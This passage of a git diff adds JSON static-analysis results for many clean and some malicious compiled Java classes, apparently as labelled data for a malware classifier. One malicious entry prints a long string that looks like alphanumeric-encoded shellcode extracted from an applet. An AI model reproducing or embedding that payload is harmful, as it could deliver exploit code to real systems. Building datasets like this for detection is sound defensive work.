", "Invalid result while executing the expression plan : ", "\\n", "Did not expect result of type: "], "JAVA String Analysis": {"combined strings entropy": 4.117783729565026}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6ce29c6faa4d12bee9b270b382c7f0a3e647cf4e", "file_name": "java_clean/f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6", "_id": "17199b5d-94e9-4eea-86e2-8ad95b3ecef3", "score": 0, "entropy": 5.6216462779360725, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5672, "ssdeep": "96:n1UTglQj2vgeUiK6JrheD3HBCsVyjMaLvRgkWRURsL0SYuDrWJ/XlpZqnBRG:XlPWKWQEnm", "sha256": "f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6", "md5": "e7957d8ad5e19a2ba7ba86066fdec638", "parent_sha256": "f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6"}} \ No newline at end of file diff --git a/java_classification/data/clean/f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f.results b/java_classification/data/clean/f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f.results new file mode 100755 index 0000000..d429b04 --- /dev/null +++ b/java_classification/data/clean/f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LocalCache.java", "class_name": "com/google/common/cache/LocalCache$EntrySet", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator", "contains", "remove", "size", "isEmpty", "clear"], "minor_version": 0, "const_pool_count": 87}}, "_id": "7a0e97a6-e4de-437b-9376-40a6e039c95b", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;>;", "Ljava/util/AbstractSet;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e9b183ecbd971a81ecaefeda378c2b002c0b0739", "file_name": "java_clean/f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f", "_id": "7a0e97a6-e4de-437b-9376-40a6e039c95b", "score": 0, "entropy": 5.2723532561637905, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2201, "ssdeep": "48:AdXblwAEHEQi8bRUjQRs4HNot6K6lq5PM:WlPBQdHOt6K6lq5PM", "sha256": "f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f", "md5": "c678470cd35fc9b0044f0da6e58cce05", "parent_sha256": "f8df48aa399f45f1e70786358503cdfe882319a9e1aabaad66d7b29e16c6468f"}} \ No newline at end of file diff --git a/java_classification/data/clean/f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82.results b/java_classification/data/clean/f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82.results new file mode 100755 index 0000000..246e81b --- /dev/null +++ b/java_classification/data/clean/f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/StandardRowSortedTable", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/RowSortedTable"], "sourcefile": "StandardRowSortedTable.java", "method_names": ["", "sortedBackingMap", "rowKeySet", "rowMap", "rowMap", "rowKeySet", "access$100"], "minor_version": 0, "const_pool_count": 83}}, "_id": "37c23763-5ca0-409e-af45-ac963caff9f2", "verbose": {"java": {"signatures": ["Ljava/util/SortedSet;", "Lcom/google/common/collect/StandardRowSortedTable.RowSortedMap;", "(Ljava/util/SortedMap;>;Lcom/google/common/base/Supplier<+Ljava/util/Map;>;)V", "()Ljava/util/SortedMap;>;", "()Ljava/util/SortedSet;", "()Ljava/util/SortedMap;>;", "Lcom/google/common/collect/StandardTable;Lcom/google/common/collect/RowSortedTable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cec372bf03800f3b1400b0744ecb4a12826a1af0", "file_name": "java_clean/f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82", "_id": "37c23763-5ca0-409e-af45-ac963caff9f2", "score": 0, "entropy": 5.245722054777298, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2965, "ssdeep": "48:nsjsah2e12IXlpaDwvgpQWGDWh2h09/dz9WTTgCUMIVWT7z//:xah2eM0lpaiWGDWh2h09/dBQLU0T7r", "sha256": "f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82", "md5": "98a46df8253b55430109fdb84d833975", "parent_sha256": "f92c28ff3202b8bcf73a203fa60c514bd79fb8b784f233f9a521e054ecb69b82"}} \ No newline at end of file diff --git a/java_classification/data/clean/fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812.results b/java_classification/data/clean/fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812.results new file mode 100755 index 0000000..7558e42 --- /dev/null +++ b/java_classification/data/clean/fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LOSplit.java", "class_name": "org/apache/pig/impl/logicalLayer/LOSplit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getOutputs", "setOutputs", "addOutput", "name", "getSchema", "supportsMultipleInputs", "supportsMultipleOutputs", "visit", "getType", "clone", "getProjectionMap", "getRequiredFields", "rewire", "getRelevantInputs", "visit", ""], "minor_version": 0, "const_pool_count": 250}}, "_id": "dcc20b2f-0a10-4b06-bf12-596b4728f83b", "verbose": {"java": {"signatures": ["Ljava/util/ArrayList;", "(Lorg/apache/pig/impl/logicalLayer/LogicalPlan;Lorg/apache/pig/impl/plan/OperatorKey;Ljava/util/ArrayList;)V", "()Ljava/util/List;", "(Ljava/util/ArrayList;)V", "()Ljava/util/List;", "(II)Ljava/util/List;"], "constant strings": ["Split ", "-", "Could not find operator in plan"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "eeaf3c39e6e32ac77ed05403d7ceaf86602fb657", "file_name": "java_clean/fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812", "_id": "dcc20b2f-0a10-4b06-bf12-596b4728f83b", "score": 0, "entropy": 5.444991708302063, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6843, "ssdeep": "96:Xl89LFlB9P5w9OkQs00bX9ogGcgLJ4dqGLCtcwGLgO8aFvNXuVHDoMrNC4JXn99W:MllM+jJgzzkTlr4v8EkN0Ak", "sha256": "fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812", "md5": "384ea67adbe01863e7cb6a97e733d127", "parent_sha256": "fad627b9381479c36406c852d9fe2bcb7110e1fa197c3f84ea2ec0536f2a6812"}} \ No newline at end of file diff --git a/java_classification/data/clean/fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117.results b/java_classification/data/clean/fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117.results new file mode 100755 index 0000000..f91d131 --- /dev/null +++ b/java_classification/data/clean/fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/io/SequenceFile$Metadata", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/io/Writable"], "sourcefile": "SequenceFile.java", "method_names": ["", "", "get", "set", "getMetadata", "write", "readFields", "equals", "hashCode", "toString", ""], "minor_version": 0, "const_pool_count": 200}}, "_id": "83e91120-05bc-4feb-bb19-e94c47ebb19e", "verbose": {"java": {"signatures": ["Ljava/util/TreeMap;", "(Ljava/util/TreeMap;)V", "()Ljava/util/TreeMap;"], "constant strings": ["Invalid size: ", " for file metadata object", "hashCode not designed", "size: ", "\\n", "\\t"], "JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7255df74b526c0f63f85c9011309ee141fd105c4", "file_name": "java_clean/fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117", "_id": "83e91120-05bc-4feb-bb19-e94c47ebb19e", "score": 0, "entropy": 5.590250674530119, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4601, "ssdeep": "96:pjcvDgSQiFl2zM0SLbtsMS1ISCrSNS3Zh8avhv9yOxoy6oLc8f45526pB:9uEIlUMvBG7b445I6n", "sha256": "fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117", "md5": "236f785bb2879bb5a74fc455383a143b", "parent_sha256": "fc2633b164248c835ac55ca3b2cde45cc5fc9f5f7c06ad089cccb65f83d28117"}} \ No newline at end of file diff --git a/java_classification/data/clean/fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc.results b/java_classification/data/clean/fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc.results new file mode 100755 index 0000000..aca9299 --- /dev/null +++ b/java_classification/data/clean/fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FileSystemStore.java", "class_name": "org/apache/hadoop/fs/s3/FileSystemStore", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["initialize", "getVersion", "storeINode", "storeBlock", "inodeExists", "blockExists", "retrieveINode", "retrieveBlock", "deleteINode", "deleteBlock", "listSubPaths", "listDeepSubPaths", "purge", "dump"], "minor_version": 0, "const_pool_count": 38}}, "_id": "c61a53fa-d8f9-4d9d-a58c-5861d968b605", "verbose": {"java": {"signatures": ["(Lorg/apache/hadoop/fs/Path;)Ljava/util/Set;", "(Lorg/apache/hadoop/fs/Path;)Ljava/util/Set;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7eb8824c146923548afb6b83fec2daeeae8e90e1", "file_name": "java_clean/fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc", "_id": "c61a53fa-d8f9-4d9d-a58c-5861d968b605", "score": 0, "entropy": 5.121501155447703, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1191, "ssdeep": "24:Ikq14bTVQ2JVWVK6V+Hc/xfCPSCtaCxSo/rHEs3q:Ikw4bpQ2JMVKCKc/1Ca4aSSWr9q", "sha256": "fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc", "md5": "0d908de97a4789ff968b0be1025ccbe5", "parent_sha256": "fc58b591623b2346532ec73a53506ab5047d390bc8180f89374cac3ef80923bc"}} \ No newline at end of file diff --git a/java_classification/data/clean/fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa.results b/java_classification/data/clean/fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa.results new file mode 100755 index 0000000..ce71625 --- /dev/null +++ b/java_classification/data/clean/fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XElement.java", "class_name": "hu/openig/utils/XElement$Appender", "access_permissions": ["ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["append"], "minor_version": 0, "const_pool_count": 13}}, "_id": "b421806a-f503-4c58-b31e-c7baa6f46a12", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1c63b8bc4c3f640c867aa6f2fdf92004ef6818ab", "file_name": "java_clean/fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa", "_id": "b421806a-f503-4c58-b31e-c7baa6f46a12", "score": 0, "entropy": 4.988523866734142, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 269, "ssdeep": "6:FkaSRPk8PtetglFLoK8YEYf5kUOQMa/lny:FkfRs8letglCTYEYf5sQMa9ny", "sha256": "fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa", "md5": "1e8b171bd681abd81dea8cd86e7c5922", "parent_sha256": "fc8ba18746eb5adf5f92a86924319765124f38311c7f7398fcde075e64a3c4aa"}} \ No newline at end of file diff --git a/java_classification/data/clean/fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc.results b/java_classification/data/clean/fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc.results new file mode 100755 index 0000000..d338223 --- /dev/null +++ b/java_classification/data/clean/fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ObjectNavigatorFactory.java", "class_name": "com/google/gson/ObjectNavigatorFactory", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "create", "getFieldNamingPolicy"], "minor_version": 0, "const_pool_count": 45}}, "_id": "09dfc651-e5c0-4336-a2c1-006f5738ab59", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4f36db5506c60ea3b45baefa055d96d46251937a", "file_name": "java_clean/fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc", "_id": "09dfc651-e5c0-4336-a2c1-006f5738ab59", "score": 0, "entropy": 5.198963738915741, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1195, "ssdeep": "12:bk00FlzA3P71ulPso0rCyIWpPzODDN4rRM5EkUlOjAOG1bj8pYKoFSSSSx:bkfA3j1uljADkgKWkfEhV8pfWiSx", "sha256": "fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc", "md5": "8dbf533142938bcbfd19201630a252cb", "parent_sha256": "fcb76ce69b54ab37c1837da5b523a7f8eec7f25133d74e19c2197d4fd7ac0adc"}} \ No newline at end of file diff --git a/java_classification/data/clean/fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626.results b/java_classification/data/clean/fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626.results new file mode 100755 index 0000000..8a6e4d1 --- /dev/null +++ b/java_classification/data/clean/fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/set/MapBackedSet", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/util/Set", "java/io/Serializable"], "sourcefile": "MapBackedSet.java", "method_names": ["decorate", "decorate", "", "size", "isEmpty", "iterator", "contains", "containsAll", "add", "addAll", "remove", "removeAll", "retainAll", "clear", "toArray", "toArray", "equals", "hashCode"], "minor_version": 3, "const_pool_count": 127}}, "_id": "71183148-9395-4655-a5d8-e5f7f2aeca68", "verbose": {"java": {"constant strings": ["The map must not be null"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0923e42439edc4267d6e61d0813b7e6d3f4a710c", "file_name": "java_clean/fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626", "_id": "71183148-9395-4655-a5d8-e5f7f2aeca68", "score": 0, "entropy": 4.964886158189449, "libmagic": "compiled Java class data, version 45.3", "file_size": 3172, "ssdeep": "48:71mcP4MEl3+A8qpXur6tiiNW6wMlaXtkPU:AcPmliwXh26wM0dKU", "sha256": "fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626", "md5": "730f74caa8a835f58bbf4d82ef47dc9a", "parent_sha256": "fccf28a12a0871e95e1e269cd31b20491fa10051dcc63477afdec2518d515626"}} \ No newline at end of file diff --git a/java_classification/data/clean/fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8.results b/java_classification/data/clean/fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8.results new file mode 100755 index 0000000..ac72faf --- /dev/null +++ b/java_classification/data/clean/fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/apache/oro/text/regex/Perl5MatchResult", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["org/apache/oro/text/regex/MatchResult"], "major_version": 46, "method_names": ["", "length", "groups", "group", "begin", "end", "beginOffset", "endOffset", "toString"], "minor_version": 0, "const_pool_count": 52}}, "_id": "ffb5c454-2181-4c00-b8cf-d347baea859a", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0a690baf1b95605fcc9cbb9d527ee608e94f2d54", "file_name": "java_clean/fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8", "_id": "ffb5c454-2181-4c00-b8cf-d347baea859a", "score": 0, "entropy": 5.226908242267028, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1095, "ssdeep": "24:I/UOkdcByNs5oYv7gsvyoWvD3+3vo4QMbCl2V7S/tBtWP7APWfLfbP:qUOkCBePYE2zeb+fo4/z9WHW+a7", "sha256": "fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8", "md5": "7be8f9cab9f126bd09cd49b3473986a6", "parent_sha256": "fdca109187665029f5ecf33825de9ccf9d11a67efbf9e7acccb27c302ccdf9c8"}} \ No newline at end of file diff --git a/java_classification/data/clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19.results b/java_classification/data/clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19.results new file mode 100755 index 0000000..623df1c --- /dev/null +++ b/java_classification/data/clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/AchievementManager$35", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Pred2"], "sourcefile": "AchievementManager.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 43}}, "_id": "4650f075-fd46-4001-8891-7785c55f3b17", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Pred2;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cac7183a7bf9cf9729a619d8e80ff675c5c0bfcd", "file_name": "java_clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19", "_id": "4650f075-fd46-4001-8891-7785c55f3b17", "score": 0, "entropy": 5.157717614494392, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1045, "ssdeep": "24:GfMfcyS5ljOxv2b/i/xvnrKR+CzZPCEYh1:70yGljb/itrsRBE7", "sha256": "fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19", "md5": "8e41e236efd878045bb0fdd3ff2b7d2f", "parent_sha256": "fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19"}} \ No newline at end of file diff --git a/java_classification/data/clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97.results b/java_classification/data/clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97.results new file mode 100755 index 0000000..ee12803 --- /dev/null +++ b/java_classification/data/clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HarFileSystem.java", "class_name": "org/apache/hadoop/fs/HarFileSystem$Store", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 35}}, "_id": "46e39abb-39d2-497b-a0d9-cf15f7ee8a2f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "06cc03673d3c9a8b79c093ea878920a7ac2df4f6", "file_name": "java_clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97", "_id": "46e39abb-39d2-497b-a0d9-cf15f7ee8a2f", "score": 0, "entropy": 5.019996888092197, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 695, "ssdeep": "12:rVEmp7xl94SDQulPsoLn3NMZTAW3v2y8Y02NMZTAbRvNMZQPpfSlJ6PrTJ9lDjBj:hEmp7SyQuljL3ejG2eqte5J6vJHJSbGf", "sha256": "ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97", "md5": "83c9a4d6e733b2a85979ac1c8ebb6bbf", "parent_sha256": "ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97"}} \ No newline at end of file diff --git a/java_classification/data/clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9.results b/java_classification/data/clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9.results new file mode 100755 index 0000000..ef5e838 --- /dev/null +++ b/java_classification/data/clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/editors/MapEditor$12", "access_permissions": ["ACC_SUPER"], "interfaces": ["javax/swing/event/ChangeListener"], "sourcefile": "MapEditor.java", "method_names": ["", "stateChanged"], "minor_version": 0, "const_pool_count": 56}}, "_id": "0680ccd2-c444-4b7f-9041-53f685a9ef4f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d1bcf70c5348f0096554835533c3ccd42210548a", "file_name": "java_clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9", "_id": "0680ccd2-c444-4b7f-9041-53f685a9ef4f", "score": 0, "entropy": 5.322728874671902, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1005, "ssdeep": "24:NIums/F4U9lj/uOmzEd3LwIL3zEsy0DdhWYg:hmi2U9lyfK3UIHvtDWl", "sha256": "ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9", "md5": "5c9307a36a3c619109e0a2b77fed489e", "parent_sha256": "ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829.results b/java_classification/data/malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829.results new file mode 100755 index 0000000..df66e7c --- /dev/null +++ b/java_classification/data/malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "55ae65cd-abcb-4b74-8a89-352e27570f72", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "fb25ec3a-79b3-456d-ac18-210afc42e151", "metadata": {"mimetype": "text/plain", "sha1": "b65449ec8fa8d574fc28047130793fad261e79f5", "file_name": "long string 0", "_id": "fb25ec3a-79b3-456d-ac18-210afc42e151", "score": 0, "entropy": 4.756453736511431, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1295, "ssdeep": "24:mi0UvQmvlvv+0IxFBMa4TKiRNhK0SRo937VFpcew9TToMrkNAGFQy5RNN:mN8Qmvh+/Ma4TblzNLryeKToMY2JynNN", "sha256": "a24fc85a70cb6c012299a7e28f6f335c865003acbd4d7777c42303f87ded21a9", "md5": "5a5ec090a8b2fc700737856c1040f23b", "parent_sha256": "000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829"}}], "combined strings entropy": 4.760185652313705}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pn,pN,pN,pZ,0J,0N,pl,P9,yK,Ks,0W,p5,P1,Oq,tl,aT,pU,Pw,pg,pl,Ks,p6,ll,KR,P5,LN,MN,kU,8w,Pm,Pc,MT,Lp,3R,Te,SN,vZ,Kk,CL,KQ,x4,Hn,kk,Gb,JE,Tq,IY,xl,OU,Pe,Ps,0I,rz,Ya,xr,OR,NW,p3,01,xR,Us,B2,L2,Mc,di,oU,FN,kx,hY,xr,YU,P5,PG,pl,KI,GS,wm,PW,Ow,pP,uz,ZQ,WR,wg,7o,p5,ow,pd,5x,zL,Kz,OS,ov,S9,YO,qJ,Lu,TU,QS,0s,0l,Kk,lp,QQ,BS,cs,X4,Dc,1W,pg,pK,OR,vF,lp,ZP,YP,QB,rL,K7,rQ,Ca,Sm,P5,kS,0q,eX,zo,qQ,kK,LV,NP,eQ,hc,UR,Uf,cN,cj,Ku,XO,yT,CO,7s,sW,tf,NP,e4,8c,Uy,V0,Cs,8w,ps,kM,ZJ,ae,TT,pN,hP,EG,pP,3y,Pp,Pr,ps,cs,gP,PK,Or,vR,0L,Cl,8g,pt,5w,vq,zE,QR,sK,OQ,Fw,tQ,JV,9L,C9,RV,da,QM,PT,zw,pt,5M,dK,Os,fu,XP,QB,vN,kq,ew,Ln,kB,Tp,54,8w,sx,uS,fl,Kp,v7,PU,SJ,Uu,cO,9Q,YQ,Ql,me,So,5u,cK,k6,om,nV,pv,Xi,b2,Tw,xK,qH,KD,Mf,cK,jq,Ph,kx,qW,Ke,Ot,5M,7c,nL,K3,nE,ts,3K,mu,6n,kv,lB,kN,ka,N7,ld,CK,mL,Kv,dL,K7,si,Un,Ks,nS,ik,sK,Xw,pY,oK,OY,oN,nb,nF,nh,lM,HY,no,zd,Nq,nN,8k,Rr,S6,SX,JL,Jq,Kp,6e,Jd,or,P0,Kp,Tp,W0,TR,Ug,5R,t2,kg,pc,XR,Tb,Td,0W,JV,O6,Or,Zq,u2,Lq,ts,Q2,Nr,Ed,7V,Nu,9R,Ns,VR,O6,Op,pC,Qs,We,5t,o3,Xp,od,4B,Wu,5P,bd,np,pS,Xr,P6,Op,nv,PF,P5,bp,1V,PF,Vt,rv,Pu,a0,3V,Pt,tP,rT,p7,DT,p4,yQ,Zp,16,Qd,pf,PV,Pv,VV,Pp,1v,2v,Y4,v5,4u,66,W1,vv,Qf,VR,wF,Qd,vD,p3,ST,uq,qB,FP,aa,HS,Rf,T7,Fd,tQ,up,7V,TE,2b,yS,VP,fE,iq,qG,Ip,1D,xQ,q2,zf,PU,ad,pF,PQ,vv,Pu,hP,0g,pW,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a63a0bfde72b7bb0912eb978bdb0179a774efbe9", "file_name": "java_malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829", "_id": "55ae65cd-abcb-4b74-8a89-352e27570f72", "score": 0, "entropy": 6.114521669134915, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3210, "ssdeep": "96:HFlBevs4F5Lry9TMMyNSTDE2iTULNkez1zNjWZ:llgs4FBsZQ5ApnJNiZ", "sha256": "000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829", "md5": "adca9fa6ae85961611f5ce3a3da5f961", "parent_sha256": "000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829"}} \ No newline at end of file diff --git a/java_classification/data/malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07.results b/java_classification/data/malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07.results new file mode 100755 index 0000000..66d57ae --- /dev/null +++ b/java_classification/data/malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fuzFPuf.java", "class_name": "YdCdHX/VcZaXVjyy", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ktCgxlqo", ""], "minor_version": 0, "const_pool_count": 52}}, "_id": "c72f15f5-c3a3-4cdc-bded-47e2c0f51859", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "KrraJwTq"}}}, "constant strings": ["EjXSeIIc", "hdyabuek", "PtKYmEjN", "FGZwQJdTi", "ZruoA", "xklijyA", "qnbgzf", "LPAON", "KrraJwTq", "FMLjVI", "hmZPi", "UUSPLHSGr", "122"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4e5226a07204e5451b89fadabede98d2e65a035c", "file_name": "java_malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07", "_id": "c72f15f5-c3a3-4cdc-bded-47e2c0f51859", "score": 0, "entropy": 5.539514170189333, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 870, "ssdeep": "24:YGriGtsNyQullxj65kYFuy8DTm0W48hf6dicjqPyJ:rriGiNyFllxeWYFuBXujEwTPs", "sha256": "009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07", "md5": "1aad0640f2ed69ab9285906962a9ad19", "parent_sha256": "009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07"}} \ No newline at end of file diff --git a/java_classification/data/malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9.results 